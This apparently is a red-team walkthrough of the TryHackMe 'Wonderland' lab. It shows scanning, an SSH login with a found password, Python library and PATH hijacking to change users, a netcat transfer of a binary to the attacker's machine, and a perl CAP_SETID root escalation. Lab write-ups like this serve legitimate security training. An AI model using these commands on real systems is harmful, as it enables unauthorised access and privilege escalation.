> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/wonderland.md). # Wonderland **Room Link:** ## Initial Scan **Kali**

nmap -A $VICTIM

## Scan all ports **Kali**

nmap -sV -sT -O -p 1-65535 $VICTIM

## TCP/80 - HTTP **Kali** ``` gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```

I can see I'm on the right track on the browser

**Kali** ``` gobuster dir -u http://$VICTIM/r/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```

**Kali** ``` gobuster dir -u http://$VICTIM/r/a -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ``` After a few letters I was able to just guess the word it's spelling out

## TCP/22 - SSH **Kali** ``` ssh alice@$VICTIM Pass: HowDothTheLittleCrocodileImproveHisShiningTail ```

## Lateral Movement - Abusing Library path **Victim** ``` sudo -l cat /home/alice/walrus_and_the_carpenter.py ```

Using the first command we can see the path it follows, we can see the first thing it will try is the current directory so we can make a random.py script of our own and put anything we want in it. **Victim** ``` python3 -c 'import sys; print (sys.path)' locate random.py ```

**Victim** ``` echo 'import os' > random.py echo 'os.system("/bin/bash")' >> random.py cat random.py ```

**Victim** ``` sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py ```

## Lateral Movement - Abusing Paths **Kali(receiving)** ``` nc -l -p 1234 > teaParty ``` **Victim(sending)** ``` nc -w 3 $KALI 1234 < teaParty ``` ### Ghidra I opened the file in Ghidra and can see that the program is running the date command which we see outputted when we run the script. But note that the date command isn't using the full path so if we add somewhere else in our path we can run our own date command instead.

I added tmp to my path **Victim(rabbit)** ``` echo $PATH export PATH=/tmp:$PATH echo $PATH ```

I'm not the hatter **Victim(rabbit)** ``` cd /tmp echo '#!/bin/bash' > date echo '/bin/bash' >> date chmod +x date cat date /home/rabbit/teaParty ```

## Privilege Escalation **Victim(hatter)** We can just follow what's under capabilities but only the last command as CAP\_SETID is already set for perl. **Exploit:** ``` getcap -r / 2>/dev/null perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' ```